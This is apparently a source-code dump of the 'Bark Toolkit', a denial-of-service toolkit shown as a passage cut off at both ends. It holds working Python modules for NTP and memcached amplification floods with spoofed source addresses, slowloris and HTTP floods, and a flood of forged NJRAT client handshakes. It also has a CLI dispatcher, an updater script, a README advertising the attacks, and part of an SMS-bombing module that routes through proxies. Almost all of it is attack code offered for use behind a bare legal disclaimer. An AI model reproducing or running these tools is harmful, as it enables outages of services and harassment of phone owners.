LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import time 26 | import socket 27 | from threading import Thread 28 | 29 | # Payload for NJRAT 30 | payload = b"149\x00ll|'|'|SGFjS2VkXzc2MTNBMTJG|'|'|SERVERPC|'|'|ser|'|'|14-05-27|'|'||'|'|Win 8.1 ProSP0 x86|'|'|No|'|'|0.7d|'|'|..|'|'|UHJvZ3JhbSBNYW5hZ2VyAA==|'|'|" 31 | print(payload) 32 | def NJRAT_ATTACK(threads, attack_time, target): 33 | 34 | # Finish 35 | 36 | global FINISH 37 | FINISH = False 38 | target_ip = target.split(":")[0] 39 | target_port = int(target.split(":")[1]) 40 | 41 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting NJRAT attack...") 42 | 43 | 44 | threads_list = [] 45 | 46 | def njrat_flood(): 47 | 48 | global FINISH 49 | 50 | while True: 51 | 52 | if FINISH: 53 | break 54 | 55 | try: 56 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 57 | sock.connect((target_ip, target_port)) 58 | except Exception as e: 59 | print(e) 60 | print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to connect to NJRAT client!") 61 | exit() 62 | 63 | try: 64 | sock.sendall(payload) 65 | except Exception as e: 66 | print(e) 67 | time.sleep(0.25) 68 | continue 69 | else: 70 | print("\033[1;32m"+"[+]"+"\033[0m"+" NJRAT client is connected!") 71 | 72 | # Start threads 73 | for thread in range(threads): 74 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 75 | t = Thread(target = njrat_flood) 76 | t.start() 77 | threads_list.append(t) 78 | 79 | # Sleep selected secounds 80 | time.sleep(attack_time) 81 | 82 | # Terminate threads 83 | for thread in threads_list: 84 | FINISH = True 85 | thread.join() 86 | 87 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 88 | -------------------------------------------------------------------------------- /tools/L4/ntp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | from scapy.all import IP, send, Raw, UDP 28 | from threading import Thread 29 | 30 | def NTP_ATTACK(threads, attack_time, target): 31 | # Finish 32 | global FINISH 33 | FINISH = False 34 | 35 | target_ip = target.split(":")[0] 36 | target_port = int(target.split(":")[1]) 37 | 38 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting NTP attack...") 39 | 40 | # Payload 41 | payload = ("\x17\x00\x03\x2a" + "\x00" * 4) 42 | threads_list = [] 43 | # Load NTP servers list 44 | with open("tools/L4/ntp_servers.txt", 'r') as f: 45 | ntp_servers = f.readlines() 46 | 47 | # NTP flood 48 | def ntp_flood(): 49 | global FINISH 50 | while not FINISH: 51 | for server in ntp_servers: 52 | if not FINISH: 53 | # Packet 54 | packets = random.randint(10, 150) 55 | server = server.replace("\n", "") 56 | 57 | try: 58 | packet = IP(dst = server, src = target_ip) / UDP(sport = random.randint(2000,65535), dport = int(target_port)) / Raw(load = payload) 59 | send( packet, count = packets, verbose = False) 60 | except Exception as e: 61 | print(e) 62 | else: 63 | print("\033[1;34m"+"[*]"+"\033[0m"+" Sending " + str(packets) + " packets from NTP server: " + server + " to " + target + "...") 64 | 65 | # Start threads 66 | for thread in range(threads): 67 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 68 | t = Thread(target = ntp_flood) 69 | t.start() 70 | threads_list.append(t) 71 | # Sleep selected secounds 72 | time.sleep(attack_time) 73 | # Terminate threads 74 | for thread in threads_list: 75 | FINISH = True 76 | thread.join() 77 | 78 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 79 | -------------------------------------------------------------------------------- /tools/L4/memcached.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | from scapy.all import IP, UDP, send, Raw 28 | from threading import Thread 29 | 30 | def MEMCACHED_ATTACK(threads, attack_time, target): 31 | # Finish 32 | global FINISH 33 | FINISH = False 34 | 35 | target_ip = target.split(":")[0] 36 | target_port = int(target.split(":")[1]) 37 | 38 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting MEMCACHED attack...") 39 | 40 | # Payload 41 | payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" 42 | threads_list = [] 43 | # Load MEMCACHED servers list 44 | with open("tools/L4/memcached_servers.txt", 'r') as f: 45 | memcached_servers = f.readlines() 46 | 47 | # MEMCACHED flood 48 | def memcached_flood(): 49 | global FINISH 50 | while not FINISH: 51 | for server in memcached_servers: 52 | if not FINISH: 53 | packets = random.randint(10, 150) 54 | server = server.replace("\n", "") 55 | # Packet 56 | try: 57 | packet = IP(dst = server, src = target_ip) / UDP(sport = target_port, dport = 11211) / Raw(load = payload) 58 | send(packet, count = packets, verbose = False) 59 | except Exception as e: 60 | print(e) 61 | else: 62 | print("\033[1;34m"+"[*]"+"\033[0m"+" Sending " + str(packets) + " forged UDP packets to " + server + "...") 63 | 64 | # Start threads 65 | for thread in range(threads): 66 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 67 | t = Thread(target = memcached_flood) 68 | t.start() 69 | threads_list.append(t) 70 | # Sleep selected secounds 71 | time.sleep(attack_time) 72 | # Terminate threads 73 | for thread in threads_list: 74 | FINISH = True 75 | thread.join() 76 | 77 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 78 | -------------------------------------------------------------------------------- /bin/bark: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | printf '\033]2;Bark Toolkit\a' 26 | 27 | G="\033[1;34m[*] \033[0m" 28 | S="\033[1;32m[+] \033[0m" 29 | E="\033[1;31m[-] \033[0m" 30 | 31 | if [[ "$1" = "-u" || "$1" = "--update" ]] 32 | then 33 | if [[ -d /data/data/com.termux ]] 34 | then 35 | if [[ -f /data/data/com.termux/files/usr/bin/Bark ]] 36 | then 37 | UPD="true" 38 | else 39 | UPD="false" 40 | fi 41 | else 42 | if [[ -f /usr/local/bin/bark ]] 43 | then 44 | UPD="true" 45 | else 46 | UPD="false" 47 | fi 48 | fi 49 | { 50 | ASESR="$(ping -c 1 -q www.google.com >&/dev/null; echo $?)" 51 | } &> /dev/null 52 | if [[ "$ASESR" != 0 ]] 53 | then 54 | echo -e ""$E"No Internet connection!" 55 | exit 56 | fi 57 | if [[ $EUID -ne 0 ]] 58 | then 59 | echo -e ""$E"Permission denied!" 60 | exit 61 | fi 62 | sleep 1 63 | echo -e ""$G"Installing update..." 64 | { 65 | rm -rf ~/Bark 66 | rm /bin/Bark 67 | rm /usr/local/bin/Bark 68 | rm /data/data/com.termux/files/usr/bin/Bark 69 | cd ~ 70 | git clone https://github.com/Sloobot/Bark.git 71 | if [[ "$UPD" != "true" ]] 72 | then 73 | sleep 0 74 | else 75 | cd ~/Bark 76 | chmod +x install.sh 77 | ./install.sh 78 | fi 79 | } &> /dev/null 80 | echo -e ""$S"Successfully updated!" 81 | sleep 1 82 | exit 83 | fi 84 | 85 | if [[ -d ~/Bark ]] 86 | then 87 | cd ~/Bark 88 | chmod +x bark 89 | ./Bark $1 $2 $3 $4 $5 $6 $7 $8 $9 90 | else 91 | { 92 | ASESR="$(ping -c 1 -q www.google.com >&/dev/null; echo $?)" 93 | } &> /dev/null 94 | if [[ "$ASESR" = 0 ]] 95 | then 96 | cd ~ 97 | { 98 | git clone https://github.com/Sloobot/Bark.git 99 | cd $OLDPWD 100 | cd ~/Bark 101 | } &> /dev/null 102 | chmod +x bark 103 | ./Bark $1 $2 $3 $4 $5 $6 $7 $8 $9 104 | else 105 | cd ~ 106 | sleep 1 107 | exit 108 | fi 109 | fi 110 | -------------------------------------------------------------------------------- /tools/L7/slowloris.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import random 26 | import time 27 | import socket 28 | from threading import Thread 29 | # Import modules for SLOWLORIS flood 30 | import tools.randomData as randomData 31 | 32 | def SLOWLORIS_ATTACK(threads, attack_time, target): 33 | # Finish 34 | global FINISH 35 | FINISH = False 36 | 37 | target_ip = target.split(":")[0] 38 | target_port = int(target.split(":")[1]) 39 | 40 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting SLOWLORIS attack...") 41 | 42 | threads_list = [] 43 | 44 | # SLOWLORIS flood 45 | def slowloris_flood(): 46 | global FINISH 47 | # Init socket 48 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | sock.settimeout(4) 50 | sock.connect((target_ip, target_port)) 51 | 52 | sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) 53 | sock.send("User-Agent: {}\r\n".format(randomData.random_useragent()).encode("utf-8")) 54 | sock.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8")) 55 | 56 | while not FINISH: 57 | if not FINISH: 58 | # Packet 59 | try: 60 | sock.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) 61 | except socket.error: 62 | print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to create socket!") 63 | else: 64 | print("\033[1;34m"+"[*]"+"\033[0m"+" Sending packets to " + target + "...") 65 | 66 | # Start threads 67 | for thread in range(0, threads): 68 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting thread " + str(thread) + "...") 69 | t = Thread(target = slowloris_flood) 70 | t.start() 71 | threads_list.append(t) 72 | # Sleep selected seconds 73 | time.sleep(attack_time) 74 | # Terminate threads 75 | for thread in threads_list: 76 | FINISH = True 77 | thread.join() 78 | 79 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 80 | -------------------------------------------------------------------------------- /tools/L7/http.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import requests 26 | import random 27 | import time 28 | from threading import Thread 29 | # Import modules for HTTP flood 30 | import tools.randomData as randomData 31 | import tools.ipTools as ipTools 32 | 33 | def HTTP_ATTACK(threads, attack_time, target): 34 | # Finish 35 | global FINISH 36 | FINISH = False 37 | 38 | if ipTools.isCloudFlare(target): 39 | print("\033[1;33m"+"[!]"+"\033[0m"+" This site is under CloudFlare protection.") 40 | if input("\033[1;77m"+"[?]"+"\033[0m"+" Continue HTTP attack? (y/n): ").strip(" ").lower() != "y": 41 | exit() 42 | 43 | print("\033[1;34m"+"[*]"+"\033[0m"+" Starting HTTP attack...") 44 | 45 | threads_list = [] 46 | # Load 25 random user agents 47 | user_agents = [] 48 | for _ in range(threads): 49 | user_agents.append( randomData.random_useragent() ) 50 | 51 | 52 | # HTTP flood 53 | def http_flood(): 54 | global FINISH 55 | while True: 56 | if FINISH: 57 | break 58 | payload = str(random._urandom(random.randint(1, 30))) 59 | headers = { 60 | "X-Requested-With": "XMLHttpRequest", 61 | "Connection": "keep-alive", 62 | "Pragma": "no-cache", 63 | "Cache-Control": "no-cache", 64 | "Accept-Encoding": "gzip, deflate, br", 65 | "User-agent": random.choice(user_agents) 66 | } 67 | try: 68 | r = requests.get(target, params = payload) 69 | except Exception as e: 70 | print(e) 71 | time.sleep(2) 72 | else: 73 | print("\033[1;32m"+"[+]"+"\033[0m"+" HTTP packet was sent! Packet size: " + str(len(payload)) + ".") 74 | 75 | 76 | # Start threads 77 | for thread in range(0, threads): 78 | print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") 79 | t = Thread(target = http_flood) 80 | t.start() 81 | threads_list.append(t) 82 | # Sleep selected secounds 83 | time.sleep(attack_time) 84 | # Terminate threads 85 | for thread in threads_list: 86 | FINISH = True 87 | thread.join() 88 | 89 | print("\033[1;33m"+"[!]"+"\033[0m"+" Attack completed.") 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bark Toolkit 2 | 3 | ![Bark](https://raw.githubusercontent.com/Sloobot/Bark/main/.github/logo1.png) 4 | 5 |

6 | 7 | 8 | 9 | 10 | 11 | 12 |

13 | 14 | *** 15 | 16 | # About Bark Toolkit 17 | 18 | ``` 19 | Bark Toolkit is a set of tools that provides denial 20 | of service attacks. Bark Toolkit includes SMS attack 21 | tool, HTTP attack tool and many other exciting attack tools. 22 | ``` 23 | 24 | *** 25 | 26 | # Getting started 27 | 28 | ## Bark installation 29 | 30 | > cd Bark 31 | 32 | > pip3 install -r requirements.txt 33 | 34 | > chmod +x bark 35 | 36 | > python3 bark.py 37 | 38 | *** 39 | 40 | # Bark Toolkit execution 41 | 42 | > Bark -h 43 | 44 | ``` 45 | usage: Bark [-h] [--target ] 46 | [--tool [SMS|NTP|TCP|UDP|SYN|POD|SLOWLORIS|MEMCACHED|HTTP|NJRAT]] 47 | [--timeout ] [--threads ] [-u] [--version] 48 | 49 | optional arguments: 50 | -h, --help show this help message and exit 51 | --target 52 | Target IP:port, URL or phone. 53 | --tool [SMS|NTP|TCP|UDP|SYN|POD|SLOWLORIS|MEMCACHED|HTTP|NJRAT] 54 | Attack tool. 55 | --timeout Timeout in secounds. 56 | --threads Threads count. 57 | -u, --update Update Bark Toolkit. 58 | --version Show Bark Toolkit version. 59 | ``` 60 | 61 | *** 62 | 63 | # Bark Toolkit command examples 64 | 65 | ## Example of the SMS attack 66 | 67 | > Bark --tool SMS --target 15554443333 --timeout 10 --threads 10 68 | 69 | ## Example of the HTTP attack 70 | 71 | > Bark --tool HTTP --target http://example.com/ --timeout 10 --threads 10 72 | 73 | ## Example of the TCP attack 74 | 75 | > Bark --tool TCP --target 192.168.1.100:80 --timeout 10 --threads 10 76 | 77 | *** 78 | 79 | # Bark Toolkit disclaimer 80 | 81 | ``` 82 | Usage of the Bark Toolkit for attacking targets without prior mutual consent is illegal. 83 | It is the end user's responsibility to obey all applicable local, state, federal, and international laws. 84 | Developers assume no liability and are not responsible for any misuse or damage caused by this program. 85 | ``` 86 | 87 | *** 88 | 89 | # Bark Toolkit license 90 | 91 | ``` 92 | MIT License 93 | 94 | Copyright (c) 2021 Sloobot 95 | 96 | Permission is hereby granted, free of charge, to any person obtaining a copy 97 | of this software and associated documentation files (the "Software"), to deal 98 | in the Software without restriction, including without limitation the rights 99 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 100 | copies of the Software, and to permit persons to whom the Software is 101 | furnished to do so, subject to the following conditions: 102 | 103 | The above copyright notice and this permission notice shall be included in all 104 | copies or substantial portions of the Software. 105 | 106 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 107 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 108 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 109 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 110 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 111 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 112 | SOFTWARE. 113 | ``` 114 | -------------------------------------------------------------------------------- /bark: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import os 26 | 27 | os.system("printf '\033]2;Bark Toolkit\a'") 28 | 29 | import argparse 30 | import sys 31 | import signal 32 | 33 | def signal_handler(signal, frame): 34 | A = '\033[1;33m' 35 | W = '\033[0m' 36 | E = '\033[0m' 37 | print(A+'\n[!]'+W+' Attack completed.'+E) 38 | os._exit(0) 39 | 40 | 41 | def main(): 42 | parser = argparse.ArgumentParser() 43 | parser.add_argument("--target", type = str, metavar = "", 44 | help = "Target IP:port, URL or phone.") 45 | parser.add_argument("--tool", type = str, metavar = "[SMS|NTP|TCP|UDP|SYN|POD|SLOWLORIS|MEMCACHED|HTTP|NJRAT]", 46 | help = "Attack tool.") 47 | parser.add_argument("--timeout", type = int, default = 10, metavar = "", 48 | help = 'Timeout in secounds.') 49 | parser.add_argument("--threads", type = int, default = 3, metavar = "", 50 | help = "Threads count.") 51 | parser.add_argument("-u", "--update", action='store_true', dest="update", help = "Update Bark Toolkit.") 52 | parser.add_argument("--version", action='store_true', dest="version", help = "Show Quack Bark version.") 53 | 54 | # Get args 55 | args = parser.parse_args() 56 | threads = args.threads 57 | time = args.timeout 58 | method = str(args.tool).upper() 59 | target = args.target 60 | 61 | if method == "NTP": 62 | signal.signal(signal.SIGINT, signal_handler) 63 | import tools.addons.clean 64 | import tools.addons.logo 65 | from tools.L4.ntp import NTP_ATTACK 66 | NTP_ATTACK(threads, time, target) 67 | 68 | elif args.update: 69 | os.system("chmod +x bin/Bark && bin/Bark -u") 70 | sys.exit() 71 | 72 | elif args.version: 73 | print("") 74 | os.system("cat banner/banner.txt") 75 | print("") 76 | print("Bark Toolkit v1.0") 77 | sys.exit() 78 | 79 | elif method == "SYN": 80 | signal.signal(signal.SIGINT, signal_handler) 81 | import tools.addons.clean 82 | import tools.addons.logo 83 | from tools.L4.syn import SYN_ATTACK 84 | SYN_ATTACK(threads, time, target) 85 | 86 | elif method == "TCP": 87 | signal.signal(signal.SIGINT, signal_handler) 88 | import tools.addons.clean 89 | import tools.addons.logo 90 | from tools.L4.tcp import TCP_ATTACK 91 | TCP_ATTACK(threads, time, target) 92 | 93 | elif method == "POD": 94 | signal.signal(signal.SIGINT, signal_handler) 95 | import tools.addons.clean 96 | import tools.addons.logo 97 | from tools.L4.pod import POD_ATTACK 98 | POD_ATTACK(threads, time, target) 99 | 100 | elif method == "NJRAT": 101 | signal.signal(signal.SIGINT, signal_handler) 102 | import tools.addons.clean 103 | import tools.addons.logo 104 | from tools.L4.njrat import NJRAT_ATTACK 105 | NJRAT_ATTACK(threads, time, target) 106 | 107 | elif method == "UDP": 108 | signal.signal(signal.SIGINT, signal_handler) 109 | import tools.addons.clean 110 | import tools.addons.logo 111 | from tools.L4.udp import UDP_ATTACK 112 | UDP_ATTACK(threads, time, target) 113 | 114 | elif method == "HTTP": 115 | signal.signal(signal.SIGINT, signal_handler) 116 | import tools.addons.clean 117 | import tools.addons.logo 118 | from tools.L7.http import HTTP_ATTACK 119 | HTTP_ATTACK(threads, time, target) 120 | 121 | elif method == "SLOWLORIS": 122 | signal.signal(signal.SIGINT, signal_handler) 123 | import tools.addons.clean 124 | import tools.addons.logo 125 | from tools.L7.slowloris import SLOWLORIS_ATTACK 126 | SLOWLORIS_ATTACK(threads, time, target) 127 | 128 | elif method == "MEMCACHED": 129 | signal.signal(signal.SIGINT, signal_handler) 130 | import tools.addons.clean 131 | import tools.addons.logo 132 | from tools.L4.memcached import MEMCACHED_ATTACK 133 | MEMCACHED_ATTACK(threads, time, target) 134 | 135 | elif method == "SMS": 136 | signal.signal(signal.SIGINT, signal_handler) 137 | import tools.addons.clean 138 | import tools.addons.logo 139 | from tools.SMS.main import SMS_ATTACK 140 | SMS_ATTACK(threads, time, target) 141 | 142 | else: 143 | parser.print_help() 144 | 145 | if __name__ == '__main__': 146 | main() 147 | -------------------------------------------------------------------------------- /tools/SMS/sendRequest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #MIT License 4 | # 5 | #Copyright (c) 2021 Sloobot 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | 25 | import json 26 | import requests 27 | import tools.SMS.numberTools as numberTools 28 | import tools.SMS.randomData as randomData 29 | 30 | # Read services file 31 | def getServices(file = 'tools/SMS/services.json'): 32 | with open(file, 'r') as services: 33 | return json.load(services)["services"] 34 | 35 | # Read proxy list 36 | def getProxys(file = 'tools/SMS/proxy.json'): 37 | with open(file, 'r') as proxys: 38 | return json.load(proxys)["proxy"] 39 | 40 | # Get domain by big url 41 | def getDomain(url): 42 | return url.split('/')[2] 43 | 44 | # Service class 45 | # parseData, SendSMS 46 | class Service: 47 | def __init__(self, service): 48 | self.service = service 49 | self.proxy = getProxys() 50 | self.timeout = 10 51 | 52 | # Parse string 53 | def parseData(self, phone): 54 | payload = None 55 | # Check for 'data' 56 | try: 57 | dataType = "data" 58 | payload = self.service["data"] 59 | except KeyError: 60 | pass 61 | # Check for 'json' 62 | try: 63 | dataType = "json" 64 | payload = self.service["json"] 65 | except KeyError: 66 | pass 67 | # If payload is clean 68 | if not payload: 69 | payload = json.dumps({"url": self.service["url"]}) 70 | dataType = "url" 71 | # Replace %phone%, etc.. to data 72 | for old, new in { 73 | "\'": "\"", 74 | "%phone%": phone, 75 | "%phone5%": numberTools.transformPhone(phone, 5), 76 | "%name%": randomData.random_name(), 77 | "%email%": randomData.random_email(), 78 | "%password%": randomData.random_password() 79 | }.items(): 80 | payload = payload.replace(old, new) 81 | return (json.loads(payload), dataType) 82 | 83 | # Send message 84 | def sendMessage(self, phone): 85 | url = self.service["url"] 86 | #print("Sending message.. | URL: (" + getDomain(url) + ") >> STATUS:", end = " ") 87 | payload, dataType = self.parseData(phone) 88 | 89 | # Headers for request 90 | headers = { 91 | "X-Requested-With": "XMLHttpRequest", 92 | "Connection": "keep-alive", 93 | "Pragma": "no-cache", 94 | "Cache-Control": "no-cache", 95 | "Accept-Encoding": "gzip, deflate, br", 96 | "User-agent": randomData.random_useragent() 97 | } 98 | 99 | # 